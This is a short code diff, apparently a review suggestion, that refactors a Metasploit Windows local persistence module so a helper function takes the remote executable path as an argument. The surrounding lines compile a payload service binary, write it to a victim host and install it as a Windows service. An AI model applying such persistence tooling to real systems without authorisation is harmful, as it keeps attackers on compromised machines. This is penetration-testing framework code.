Use argument

modules/exploits/windows/local/persistence_service.rb

@@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Local
     metsvc_code = metsvc_template(buf)
     bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)
 
-    victim_path = write_exe_to_target(bin, rexename)
+    victim_path = write_exe_to_target(bin, rexename, rexepath)
     install_service(victim_path)
 
     clean_rc = log_file
@@ -107,10 +107,8 @@ class MetasploitModule < Msf::Exploit::Local
   # Function for writing executable to target host
   # Code from post/windows/manage/persistence_exe
   #
-  def write_exe_to_target(rexe, rexename)
+  def write_exe_to_target(rexe, rexename, rexepath)
     # check if we have write permission
-    rexepath = datastore['REMOTE_EXE_PATH']
-
     if rexepath
       begin
         temprexe = rexepath + "\\" + rexename